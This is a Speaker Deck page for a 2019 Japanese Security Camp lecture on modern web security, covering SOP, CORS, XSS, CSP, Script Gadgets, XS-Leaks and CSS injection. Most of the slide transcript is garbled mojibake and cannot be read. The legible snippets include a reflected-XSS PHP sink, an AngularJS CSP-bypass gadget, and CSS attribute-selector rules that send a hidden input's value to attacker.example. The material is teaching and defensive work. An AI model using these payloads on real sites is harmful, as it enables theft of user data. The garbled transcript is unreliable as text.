Upgrade to Pro — share decks privately, control downloads, hide ads and more …

体系的に学ぶモダン Web セキュリティ (#seccamp 全国大会 2019 B5) ...

Takashi Yoneuchi
August 15, 2019
Research
47
22k

体系的に学ぶモダン Web セキュリティ (#seccamp 全国大会 2019 B5) / Learn Modern Web Security Systematically

セキュリティ・キャンプ全国大会 2019 開発と運用トラックで提供した講義の資料の一部です。誤りに気がついたら、ぜひ @y0n3uchy あるいは @lmt_swallow にお知らせください。

Takashi Yoneuchi

August 15, 2019
Tweet

More Decks by Takashi Yoneuchi

See All by Takashi Yoneuchi
プロダクトセキュリティの「共通言語」を作る ― 技術教育と Policy as Code を例に / "Language" for Product Security
lmt_swallow
0
750
SREを以てセキュリティエンジニアリングを制す / SRE, Security Engineering, and You
lmt_swallow
5
2.9k
Eliminating ReDoS with Ruby 3.2
lmt_swallow
0
260
ソフトウェアサプライチェーンのこれから / Securing Software Supply Chain
lmt_swallow
1
250
AWSのセキュリティ管理をPolicy as Codeで加速する ― 最高のCSPM体験を目指して / Unleashing Policy as Code on AWS CSPM
lmt_swallow
4
2.3k
実践 SpiceDB - クライドネイティブ時代をサバイブできるパーミッション管理の実装を目指して / Practical SpiceDB
lmt_swallow
0
1.8k
Developer-First Security という考え方 / Introduction to Developer-First Security
lmt_swallow
6
9.3k
ちいさな Web ブラウザを作ってみよう（オンライン講義版） / Build Your Own Web Browser
lmt_swallow
18
11k
Go をセキュアに書き進めるための
「ガードレール」を整備しよう / Let's Build Security Guardrails For Your Go Programs!
lmt_swallow
4
5.5k

Other Decks in Research

See All in Research
Vision Language Modelと完全自動運転AIの最新動向
tsubasashi
1
300
[ECCV2024読み会] 衛星画像からの地上画像生成
elith
1
1.1k
研究を支える拡張性の高い ワークフローツールの提案 / Proposal of highly expandable workflow tools to support research
linyows
0
350
公立高校入試等に対する受入保留アルゴリズム（DA）導入の提言
shunyanoda
0
150
CoRL2024サーベイ
rpc
2
1.7k
Prithvi-EO-2.0: A Versatile Multi-Temporal Foundation Model for Earth Observation Applications
satai
3
210
情報処理学会関西支部2024年度定期講演会「自然言語処理と大規模言語モデルの基礎」
ksudoh
10
2.7k
作業記憶の発達的特性が言語獲得の臨界期を形成する（NLP2025）
chemical_tree
1
360
o1 pro mode の調査レポート
smorce
0
140
Weekly AI Agents News! 12月号 プロダクト/ニュースのアーカイブ
masatoto
0
350
国際会議ACL2024参加報告
chemical_tree
1
460
Neural Fieldの紹介
nnchiba
2
790

Featured

See All Featured
Scaling GitHub
holman
459
140k
Cheating the UX When There Is Nothing More to Optimize - PixelPioneers
stephaniewalter
280
13k
Large-scale JavaScript Application Architecture
addyosmani
511
110k
GraphQLとの向き合い方2022年版
quramy
45
14k
Agile that works and the tools we love
rasmusluckow
328
21k
Building Your Own Lightsaber
phodgson
104
6.3k
YesSQL, Process and Tooling at Scale
rocio
172
14k
A better future with KSS
kneath
238
17k
Why You Should Never Use an ORM
jnunemaker
PRO
55
9.3k
Learning to Love Humans: Emotional Interface Design
aarron
273
40k
The Success of Rails: Ensuring Growth for the Next 100 Years
eileencodes
44
7.1k
jQuery: Nuts, Bolts and Bling
dougneiner
63
7.7k

Transcript

  1. ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ηΩϡϦςΟɾΩϟϯϓશࠃେձ։ൃͱӡ༻τϥοΫ 5BLBTIJ:POFVDIJ !MNU@TXBMMPX !ZOVDIZ 'MBUU4FDVSJUZ *OD
 %FQBSUNFOUPG*OGPSNBUJPO4DJFODF 'BDVMUZPG4DJFODF UIF6OJWFSTJUZPG5PLZP

    IUUQTTIJGUKTJOGP

  2. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 5BLBTIJ:POFVDIJ ‣ !MNU@TXBMMPX !ZOVDIZ ‣ 8PSLJOHBU ‣ %FQBSUNFOUPG*OGPSNBUJPO4DJFODF

    'BDVMUZ PG4DJFODF UIF6OJWFSTJUZPG5PLZP ‣ *ὑ8FC ‣ DUGCMFBEFS TFDDBNQTUB⒎ ‣ 54(EPEPEPEP ‣ 4FFIUUQTTIJGUKTJOGP  

  3. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ຊࢿྉͷ֓ཁ
 4QFBLFS%FDLಡऀ޲͚ ‣ ຊߨٛͷࢿྉͱͯ͠͸ɺҎ ԼͷͭΛར༻͠·ͨ͠ɻ ‣ ࣄલֶशʜถ಺͕ݱࡏࣥ චதͷຊͷ૲ߘ

    ‣ ౰೔ʜ͜ͷεϥΠυ ‣ ͜ͷεϥΠυ͸ɺࣥචதͷ ຊͰ·ͩॻ͚͍ͯͳ͍ͱ͜ ΖΛิ͏ͨΊͷ΋ͷͰ͢ɻ ‣ ͥͻຊͷެ։ ग़൛ Λ͓଴ ͪԼ͍͞ɻ  

  4. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ   ࣄલֶशࢿྉͷ໨࣍ͷͪΒΈͤ
 4QFBLFS%FDLಡऀ޲͚

  5. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ຊߨٛͷ໨ඪ ࠶ 
 8FCηΩϡϦςΟΛମܥతʹֶͿɺͱ͸ ‣ 8FCΞϓϦέʔγϣϯͷ੬ऑੑ 42-J 99&

     ͸ֶ΂͹෼͔Δ ‣ ։ൃ࣌ʹؾʹ͢΂͖͜ͱ͸ɺ֓Ͷଞ෼໺ͷ։ൃͱ͕ࠜҰॹ ‣ ೖྗ஋Λ৴༻͠ͳ͍ ద੾ͳݖݶ؅ཧ FUD ‣ ͔͠͠8FCಛ༗ͳύϥμΠϜ͸ֶͼʹ͍͘ ‣ ʮυΩϡϝϯτ͸ࢄҳ͍ͯ͠Δ͠ʜʯ ‣ ʮ࢓༷ؒͷͭͳ͕Γ΋ݟ͑ͳ͍͠ʜʯ ‣ ຊߨٛͷ໨ඪجຊతͳ8FCηΩϡϦςΟͷύϥμΠϜΛֶͿ͜ͱ ‣ Ͳ͏͍͏ڥք͕Ҿ͔ΕΔ΂͖͔ʁ ‣ Ͳ͏͍͏ಈػ͔ΒɺͲΜͳ࢓༷ɾ߈ܸ͕ग़͖͔ͯͨʁ  

  6. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ࣄલֶशͰ΍ͬͨ͜ͱ
 ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ‣ ࣄલ՝୊1%' ‣ $IBQUFS8FCηΩϡϦςΟ֓࿦ ‣ ࿦఺ͳͥࠓ8FCηΩϡϦςΟ͕େࣄͳͷ͔

    ‣ $IBQUFS0SJHJOϕʔεͷجૅతͳػߏ ‣ ࿦఺401 $034 944 $41 ‣ $IBQUFSαΠυνϟωϧ߈ܸʹؔ࿈ͨ͠ػߏ ‣ ࿦఺5SBOTJFOU&YFDVUJPO"UUBDLTͷ͞ΘΓ 4JUF 4JUF*TPMBUJPO  $03# $031 $0&1 $001 ‣ 5SZ401ʜ401$034ͷجຊతͳڍಈͷ֬ೝ ‣ 944$IBMMFOHFʜجૅతͳ944ٕज़ͷ֬ೝ  

  7. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ࣄલֶशͰ΍ͬͨ͜ͱ
 ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ‣ ࣄલ՝୊1%' ‣ $IBQUFS8FCηΩϡϦςΟ֓࿦ ‣ ࿦఺ͳͥࠓ8FCηΩϡϦςΟ͕େࣄͳͷ͔

    ‣ $IBQUFS0SJHJOϕʔεͷجૅతͳػߏ ‣ ࿦఺401 $034 944 $41 ‣ $IBQUFSαΠυνϟωϧ߈ܸʹؔ࿈ͨ͠ػߏ ‣ ࿦఺5SBOTJFOU&YFDVUJPO"UUBDL 4JUF 4JUF*TPMBUJPO $03# $031  $0&1 $001 ‣ 5SZ401ʜ401$034ͷجຊతͳڍಈͷ֬ೝ ‣ 944$IBMMFOHFʜجૅతͳ944ٕज़ͷ֬ೝ   ΍Γ͗ͨ͢ ߨٛͰ΍Ζ͏ͱࢥͬͯͨ͜ͱ
 ͥΜͿ΍ͬͪΌͬͨʜ

  8. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 0VUMJOF
 ࠓ೔ͷߨٛͰ΍Δ͜ͱ ‣ *OUSPEVDUJPO NJO  ‣ 401$034944


    NJO  ‣ 1PTU9448PSME NJO  ‣ $44*OKFDUJPO NJO  ‣ 94-FBLTBOE944FBSDI
 NJO   ‣ 5SZ401944$IBMMFOHF
 NJO  ‣ $44*OKFDUJPO$IBMMFOHF
 NJO  ‣ 944FBSDI$IBMMFOHF
 NJO  ‣ 3FDPO$IBMMFOHF NJO -FDUVSF $IBMMFOHF 

  9. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ΞΠεϒϨΠΫ
 ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ‣ ౡͷதͰࣗݾ঺հ͠·͠ΐ͏ બ୒ߨٛͳͷͰ ɻ ‣ ໊લʜِ໊ɾϋϯυϧωʔϜ΋Մ

    ‣ ޷͖ͳ͜ͱʜݚڀͷ࿩Ͱ΋ɺ೔ৗͷ࿩Ͱ΋ɺΞχϝͷ࿩Ͱ΋ɻ ‣ Λࣗવ਺ʹؚΊΔ೿͔ɺؚΊͳ͍೿͔ɻ ‣ ͕࣌ؒ༨ͬͨΒɺ಄ͷମૢ͕ͯΒɺҎԼΛ໰Λ࠶ߟͯ͠ΈΑ͏ɻ ‣ ໰401 $034͸ͳͥඞཁͳͷͰ͠ΐ͏͔ɻ ‣ ໰944ͱ401ͷؔ܎ੑ͸આ໌Ͱ͖·͔͢ɻ ‣ ໰$41͸Ͳ͏͍͏໰୊ʹର͠ɺͲͷΑ͏ͳޮྗΛ΋ͪ·͔͢ɻ  

  10. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ஫ҙࣄ߲
 ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ‣ ΄ͲΑ͍͍ͨͣΒ৺ͱɺͱͯ΋Α͍ྙཧ؍Λ࣋ͪ·͠ΐ͏ɻ ‣ 4/4Ͱຊߨٛͷ࣮گɾײ૝ΛπΠʔτ͢Δͷ͸ߏ͍·ͤΜɻ ‣ ͦͷࡍʹ͸ࡍʹ͸ɺͥͻҎԼͷλάΛ෇͚͍ͯͩ͘͞

     ‣ TFDDBNQTFDDBNQC ‣ ஫ҙͨͩ͠ɺ͋͘·ͰྙཧతͳπΠʔτΛ৺͕͚͍ͯͩ͘͞ɻ ‣ ຊߨٛͷԋशͰ͸ɺҎԼͷϗετͷΈΛར༻͠·͢ɻ͜ΕҎ֎ͷϗ ετʹ͸Ұ੾߈ܸΛՃ͑ͳ͍Ͱ͍ͩ͘͞ɻ ‣ IBDRNF ‣ TIJGUKTJOGP  

  11. ࣄલֶशͷৼΓฦΓ

  12. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 8FCʹ͓͚Δڥքͷඞཁੑ
 ͳͥڥք͕Ҿ͔ΕΔ΂͖ͳͷͩΖ͏͔ ‣ υΩϡϝϯτؒͷίϛϡχέʔγϣϯʹҰ੾ͷ੍ݶ͕ͳ͚Ε͹ɺ߈ ܸऀ͸গͳ͍εςοϓͰ৘ใΛϦʔΫͰ͖Δɻ ‣ ໰FWJMDPN͕GFUDI FYBNQMFDPN

    Λൃߦ͠ɺͦͷ݁ՌΛಡΉ͜ ͱ͕ग़དྷΔ৔߹ɺ߈ܸऀ͸ͲΜͳ͜ͱ͕Ͱ͖ΔͩΖ͏͔ɻ ‣ ໰͋Δ͍͸ɺFYBNQMFDPN͕MPDBM4UPSBHFʹอଘͨ͠΋ͷΛಡΊ ͨΒͲ͏͔ɻ   http://evil.com ΋ࣗ͠༝ʹ
 ಡΈॻ͖͕ग़དྷͨΒʁ http://example.com

  13. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 0SJHJO 3'$5IF8FC0SJHJO$PODFQU ‣ ͋Δ63*ʹରͯ͠ɺ0SJHJO͸࣍ͷUVQMFͱͯ͠ఆٛ͞ΕΔɻ VSJTDIFNF VSJIPTU VSJQPSU 

    ‣ VSJTDIFNFFHIUUQ IUUQT  ‣ VSJIPTUFHFYBNQMFDPN  ‣ VSJQPSUFH   ‣ ஫VSJQPSU͕লུ͞Ε͍ͯΔ৔߹ɺVSJTDIFNFʹରԠͨ͠σϑΥϧτͷ ϙʔτ͕VSJQPSUͱͯ͠࠾༻͞ΕΔɻ   IUUQFYBNQMFDPNTPNFQBUI

  14. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 4BNF0SJHJO1PMJDZ
 "OFYBNQMFPGGFBUVSFTCBTFEPO0SJHJO ‣ ֓ཁ4BNF0SJHJO1PMJDZ ‣ 401͸ҎԼΛېࢭ͢Δɻ ‣ $SPTT0SJHJOͳಡΈࠐΈ

    ‣ ྫGFUDIͷ݁Ռ ‣ $SPTT0SJHJOͳॻ͖ࠐΈ ͨͩ͠෦෼త  ‣ ྫTJNQMFͰͳ͍ϦΫΤετൃߦͷ੍ݶ DG$034  ‣ 8FCϒϥ΢β͕࣋ͭ࠷΋ϕʔγοΫͳηΩϡϦςΟػߏͰ͋Δɻ  

  15. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 4DIXFOLFUBM 
 4BNF0SJHJO1PMJDZͷςετ ‣ ٙ໰ 4DIXFOLFUBM  

    ‣ 401%0. 401GPS%0. ͸ɺϞμϯͳϒϥ΢βʹ͓͍ͯɺͲͷΑ ͏ʹ࣮૷͞Ε͍ͯΔͷͩΖ͏͔ɻ ‣ 401%0.ʹؔ܎ͷ͋Δ)5.-ϚʔΫΞοϓ͸ͲΕ͔ɻ ‣ ༧ظ͞ΕΔ"$-ͱ࣮ࡍͷϒϥ΢βͷڍಈ͸Ϛον͍ͯ͠Δ͔ɻ ‣ ൴Βͷߩݙ ͷҰ෦  ‣ 401%0.ͷUFTUCFEΛߏஙͨ͠ɻIUUQZPVSTPQDPN ‣ ݕূ๏Λମܥతʹهड़͠ɺࠓ·Ͱ͸Τοδέʔεͩͬͨ΋ͷ΋र͑Δ Α͏ʹͳͬͨɻ ‣ ݁Ռϒϥ΢βؒͰͷࠩҟ͕ݟΒΕͨɻ ׂ߹ͳͲ͸࿦จࢀর  

  16. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ $034 $SPTT0SJHJO3FTPVSDF4IBSJOH 
 0SJHJOʹجͮ͘ηΩϡϦςΟػߏͷྫ ‣ ໰୊$SPTT0SJHJOͳϦιʔεΛਖ਼౰ͳ༻్Ͱར༻͍͍ͨͤͨ͠͞ ৔߹ʹ͸Ͳ͏͢Ε͹Α͍ͷͩΖ͏͔ɻ ‣

    ղܾ$SPTT0SJHJO3FTPVSDF4IBSJOH ‣ ϦιʔεΛར༻͍ͨ͠ଆ͸ɺࣗ਎ͷ0SJHJOΛ0SJHJOϦΫΤετϔο μͷ஋ͱͯ͠ηοτ͠ɺϦΫΤετΛૹ৴͢Δɻ ‣ ϦιʔεΛఏڙ͢Δଆ͸ɺ"DDFTT$POUSPM"MMPX Ϩεϙϯεϔο μΛ௨ͯ͠ɺڐՄෆڐՄΛ఻͑Δɻ ‣ ϒϥ΢β͸ϨεϙϯεϔομΛݟͯɺదٓڐՄෆڐՄΛ൑அ͢Δɻ ‣ ৄࡉ$SPTT0SJHJO3FTPVSDF4IBSJOH $034 )551c.%/
 IUUQTEFWFMPQFSNP[JMMBPSHFO64EPDT8FC)551$034  

  17. &YFSDJTF
 401$034 ඇެ։

  18. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 4JUF 0SJHJOΑΓMPPTFͳηΩϡϦςΟڥք ‣ ໰୊0SJHJO͸΍΍ݫ͍͠ͷͰɺΑΓMPPTFͳ੍໿͕΄͍͠ɻ ‣ ղܾ4JUF ‣ 3FJTBOE(SJCCMF

     4DIFNF  F5-%   ‣ 8)"58(F5-%  ‣ ࠾༻ྫ ‣ 4JUF*TPMBUJPO3FJTBOE(SJCCMFͷ΋ͷ ‣ ࢀߟ$3FJT ".PTIDIVL BOE/0TLPW l4JUF*TPMBUJPO1SPDFTT 4FQBSBUJPOGPS8FC4JUFTXJUIJOUIF#SPXTFS zJO64&/*94FDVSJUZ 4ZNQPTJVN  ‣ 4BNF4JUF$PPLJF $001 $0&1 8)"58(ͷ΋ͷ  

  19. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ   ‣ 4BNF0SJHJO1PMJDZʹΑΓɺ͋Δ0SJHJOͷ΋ͭσʔλ͸ɺͦͷ֎ ෦ͷ0SJHJO͔Β৮Εͳ͍ ˞ྫ֎͸͋Δ ɻ ‣

    944͸ͦͷ੍໿ͷճආͩͱଊ͑ΒΕΔɻ ‣ ߈ܸऀ͸401ͷ੍໿Λड͚ͣʹ ର৅0SJHJOͷ಺ଆΛಈ͖ճΕΔ Origin A スクリプト挿⼊入 <?= $_GET['q'] ?>

  20. &YFSDJTF
 944 ඇެ։

  21. 1PTU944ͷੈքΛோΊΔ

  22. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ରࡦϑϨʔϜϫʔΫଆ
 'PPMQSPPG "VUPFTDBQJOH FUD ‣ Ϟμϯͳ8FCϑϨʔϜϫʔΫϥΠϒϥϦͷଟ͕͘ɺ࣍ͷΑ͏ͳର ࡦΛఏڙ͍ͯ͠Δɻ ‣

    جຊ͸ࣗಈͰΤεέʔϓ͢Δɻ ‣ ։ൃऀ͕ΤεέʔϓΛҙਤతʹແޮԽͰ͖Δ͕ɺةݥ͸שى͢Δɻ ‣ FHEBOHFSPVTMZ4FU*OOFS)5.-   <?= $_GET['q'] ?> 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

  23. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ରࡦ$41
 $POUFOU4FDVSJUZ1PMJDZ ‣ ΞΠσΞ ‣ ։ൃऀ͸ɺ)5.-+4ͷͲͷ෦෼͕ࣗ෼͕ఏڙͨ͠΋ͷͰɺͲͷ෦෼ ͕ͦ͏Ͱͳ͍͔Λ஌͍ͬͯΔɻ ‣

    *OKFDU͞Εͯ΋ɺͦΕ͕F⒎FDUJWFͰ͑͞ͳ͚Ε͹Α͍ɻ ‣ $41͸։ൃऀ͕ϒϥ΢βʹ ؔ܎͢Δ0SJHJO΍ਖ਼نͷ+4͸ͲΕ ͔ɺͳͲͷ ࣄલ৘ใΛ༩͑Δ͜ͱͰɺ$POUFOU*OKFDUJPO߈ܸΛ๷ ͍Ͱ͍͜͏ɺͱ͍͏࢓૊Έɻ   Content-Security-Policy: script-src 'nonce-4g34...34r' <script nonce="4g34...34r">alert('Hello, CSP!')</script> 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

  24. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ Ͱ͖Δ͜ͱ
 $POUFOU4FDVSJUZ1PMJDZ ‣ 'FUDI%JSFDUJWFTϦιʔεͷऔಘɾར༻Λ੍ݶ ‣ ྫTDSJQUTSD GSBNFTSD 

    ‣ %PDVNFOU%JSFDUJWFTυΩϡϝϯτͷ࣋ͭঢ়ଶͷૢ࡞Λ੍ݶ ‣ ྫCBTFVSJ TBOECPY  ‣ /BWJHBUJPO%JSFDUJWFTφϏήʔγϣϯͷ੍ݶ ‣ ྫGPSNBDUJPO GSBNFBODFTUPST OBWJHBUFUP ‣ 3FQPSUJOH%JSFDUJWFT$41ҧ൓ͷϨϙʔτػೳΛ੍ݶ ‣ ྫSFQPSUVSJ SFQPSUUP ‣ ࣄલֶशͷ1%'ʹ΋ܰ͘ॻ͍ͨͷͰɺࡉ͔͍࿩͸͠·ͤΜɻ   944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

  25. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ࣮ࡍͷӡ༻ྫ
 $POUFOU4FDVSJUZ1PMJDZ ‣ $41Λಋೖ͍ͯ͠Δ8FCΞϓϦέʔγϣϯ͸૿͖͍͑ͯͯΔɻ ‣ 5XJUUFS (JU)VC 'BDFCPPL

    4OBQDIBU  ‣ 3FQPSUJOHΛ׆༻͍ͯ͠Δاۀ΋͋ΔΒ͍͠ɻ ‣ IUUQTUXJUUFSDPN)VTTFJ/%TUBUVT   944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

  26. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ؔ࿈ݚڀ
 $POUFOU4FDVSJUZ1PMJDZ ‣ ࠓ೔ͷ$41ʹࢸΔ·Ͱʹ͸ɺଟ͘ͷݚڀɾݕ౼͕ͳ͞Ε͖ͯͨɻ ‣ ୅දతͳؔ࿈ݚڀ ‣ #&&1

    +JNFUBM   ‣ 40." 0EBFUBM   ‣ /PODFTQBDFT 7BO(VOEZBOE$IFO   ‣ ॳظͷ$41 4UBNNFUBM  -FWFM -FWFM ‣ ए͍ࠒ #ͷ͜Ζ ʹॻ͍ͨεϥΠυͳͷͰগʑߥ࡟Γ͕ͩɺ͜ͷ εϥΠυʹ͜ͷؔ࿈ͷ࿩͸·ͱΊͯ͋Δɻ ‣ IUUQTTIJGUKTJOGPQVCMJDBUJPOT$41QEG   944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

  27. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ల๬
 $POUFOU4FDVSJUZ1PMJDZ ‣ ໰୊$41͕ංେԽɾෳࡶԽ͠ɺʮॏ͍ʯଘࡏʹͳ͖ͬͯͨɻ ‣ ۙ೥͸$41ͷऔΓѻ͏ྖҬ͕େ͖͘ͳͬͯ͠·ͬͨɻ ‣ ޙํޓ׵ੑ

    CBDLXBSEDPNQBUJCJMJUZ Λอͭඞཁ͔Βɺଟ͘ͷ໰୊ ͕ൃੜ͖ͯͨ͠ɻ ‣ ఏҊ$41ΛEJTKPJOUʹ෼ׂ͍ͨ͠ɻ ‣ .JLF8FTUࢯʹΑΔఏҊ ͱ͍͏͔͸ɺΞΠσΞ  ‣ IUUQTHJUIVCDPNNJLFXFTUDTQOFYU ‣ ՝୊$41͕ࠓ๊͍͑ͯΔ໰୊ͱ͸ҰମԿͳͷ͔ɺͦΕΛड͚ͯࠓ ޙͲ͏ͳ͍ͬͯ͘ͱࢥΘΕΔ͔ɺߟ͑ͯΈΑ͏ɻ   944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

  28. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ରࡦ944"VEJUPSܥ
 &YBNQMFTPG$MJFOUTJEF.JUJHBUJPOPG944   ‣ ൓ࣹܕ 944Λϒϥ΢β͕ݕ஌ ͯ͠ɺ๷͙ͨΊͷ࢓૊Έɻ

    ‣ 99441SPUFDUJPOϔομʹΑ ΓϞʔυ͕ܾΊΒΕΔ ‣ ແޮ   ‣ pMUFS NPEFpMUFS  ‣ CMPDL NPEFCMPDL  ‣ ݱࡏ944"VEJUPS͸ফ͑Δํ޲ ʹਐΜͰ͍ΔɻDMBQ 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

  29. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 944ٕ๏ͷൃల
 4DSJQU(BEHFUT301ͱಉ͡ߟ͑ํ ‣ ໰୊$41ͷ͍ͤͰɺ͏·͘೚ҙ+4࣮ߦ·Ͱ͍͚࣋ͬͯͳ͍ɻ ‣ ղܾ4DSJQU(BEHFUT -FLJFTFUBM 

     ‣ ΞΠσΞ$41Ͱ৴པ͞Ε͍ͯΔ0SJHJOԼͷ+4΍ɺ͢Ͱʹϩʔυ͞ Ε͍ͯΔ+4Λܦ༝ FHFWBMϑΝϛϦͷར༻ PSར༻͢Ε͹ɺ೚ҙ +4࣮ߦʹܨ͛ΒΕΔͷͰ͸ͳ͍͔ɻ ‣ DG%&1ʹର͢Δ3FUVSO0SJFOUFE1SPHSBNNJOH 301 ΍ 3FUVSOUPMJCD   <script src="https://ajax.googleapis.com/ajax/libs/ angularjs/1.0.8/angular.js"></script> <div ng-app ng-csp ng-mouseover=$event.view.alert('XSS')> 944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

  30. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 4DSJQUMFTT"UUBDLT
 +BWB4DSJQUΛར༻͠ͳ͍߈ܸ ‣ ໰+4Λ࢖ΘͣʹͰ͖Δ߈ܸʹ͸ɺͲͷΑ͏ͳ΋ͷ͕͋Δ͔ɻ ‣ 944ରࡦ͸͍ͯͯ͠΋ɺͦΕҎ֎͸ҙࣝͷ֎Ͱ͋Δɺͱ͍͏৔߹͸͠ ͹͠͹͋ΔͨΊɺ͜Ε͸༗ӹͳ໰ɻ ‣

    ఏҊ4DSJQUMFTT"UUBDLT )FJEFSJDIFUBM ͕ମܥత  ‣ $44*OKFDUJPOʹؔͯ͠͸ɺ"UUSJCVUFSFBEJOH 'POUMJHBUVSF UFDIOJRVF GPOUSBOHFUFDIOJRVF ౳ͷςΫχοΫ͕XFMMLOPXOɻ ‣ /FXSFTFBSDIMJOFSFDVSTJWFJNQPSUUFDIOJRVFT 1FQF7JMB   IUUQTWX[ROFUTMJEFTT@DTT@JOKFDUJPO@BUUBDLTQEG ‣ ͜ͷྨͷ߈ܸ͸͠͹͠͹໰୊ࢹ͞Ε͖ͯͨɻ ‣ $41पΓͷಈ͖Λ௨ͯ͠ɺΑΓ੝Μʹ۷ΒΕΔΑ͏ʹͳ͖ͬͯͨҹ৅ɻ   944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

  31. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ 94-FBLT944FBSDI
 "UUBDLTBJNJOHUIFQPTU944XPSME ‣ ໰ͦ΋ͦ΋$POUFOU*OKFDUJPO੬ऑੑ͕ͳ͍৔߹ʹ΋ɺ߈ܸऀ͸Կ Β͔ͷ߈ܸΛߦ͏༨஍͕͋ΔͷͩΖ͏͔ɻ ‣ ΞΠσΞ΋͠৘ใͷ׬શͳϦʔΫ͕ݫͯ͘͠΋ʜʜʁ ‣

    $SPTT0SJHJO͔ΒͰ΋ಡΊΔ৘ใ͔ΒɺԿ͔ҙຯͷ͋Δ৘ใΛ நग़Ͱ͖ͳ͍͔ɻ ‣ ͦ΋ͦ΋ಡ·ΕΔ͜ͱ͕૝ఆ͞Ε͍ͯͳ͍৘ใΛɺαΠυνϟω ϧͷ؍ଌΛ௨ͯ͠ಘΔ͜ͱ͕ग़དྷͳ͍͔ʁ ‣ ͜ͷΞΠσΞͷ΋ͱɺ$SPTTTJUF-FBLT 94-FBLT ΍$SPTT TJUF4FBSDI 944FBSDI ͱݺ͹ΕΔྨ͕ొ৔ͨ͠ɻ   944ͷग़ݱ ରࡦͷൃల ߈ܸͷൃల

  32. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ༨ஊ
 Ξφϩδʔʁ   ‣ ʮ%&1ʹର͢Δ301SFUMJCDʯͱʮ$41ʹର͢Δ4DSJQU (BEHFUTʯʁ ‣

    ϋʔυ΢ΣΞ %&1͸/9CJUʹΑΔ࣮ߦՄೳྖҬͷϚʔΫ ‣ $41͸σΟϨΫςΟϒʹΑΔར༻ՄೳྖҬͷϚʔΫͱݟΕΔ ‣ ߏ଄͕ࣅͯ·͢Ͷɻ͔֬ʹಉ͡੾ΓޱͰ߈ܸΛݕ౼Ͱ͖Δɻ ‣ ྫ6TFBGUFS'SFF.BJM (SVTTFUBM   ‣ %(SVTTFUBM l6TFBGUFS'SFF.BJM(FOFSBMJ[JOHUIFVTFBGUFSGSFFQSPCMFNBOEBQQMZJOHJUUPFNBJM TFSWJDFT z"4*"$$41SPD"$."TJB$POG$PNQVU$PNNVO4FDVS  ‣ 6TF"GUFS'SFF 6"' ͷߟ͑ํΛҰൠԽͯ͠ண૝ΛಘͨΒ͍͠ɻ ‣ %BOJFM(SVTTࢯ΍ͦͷपลͷํʑ͕΍͍ͬͯΔݚڀ͸ඇৗʹ໘ന͍ͷ Ͱɺ΢Υον͓ͯ͘͠ͱ͍͍͜ͱ͕͋Δ͔΋ɻ

  33. $44*OKFDUJPO

  34. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ લఏ஌ࣝ "UUSJCVUF3FBEJOH$44*OKFDUJPO ‣ ࣍ͷΑ͏ͳ)5.-λάΛߟ͑Α͏ɻ
 ‣ ͜Ε͸࣍ͷͭͷ$44ηϨΫλશͯʹϚον͢Δɻ ‣ ͜ΕΛԠ༻͢Δͱ

    ଐੑ஋ΛMFBLՄೳɻ   <input type="hidden" value="abc"> input[value ^= "a"] { /* ... */ }
 input[value ^= "ab"] { /* ... */ }
 input[value ^= "abc"] { /* ... */ }

  35. ˜TIJGUKTJOGP ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ ߈ܸͷߏ଄ "UUSJCVUF3FBEJOH$44*OKFDUJPO   input[value ^= "a"] {


    background: url(http://attacker.example/?a)
 } /* ... */ ‘ 攻撃ベクタ リクエスト リーク 反射型 蓄積型 準備

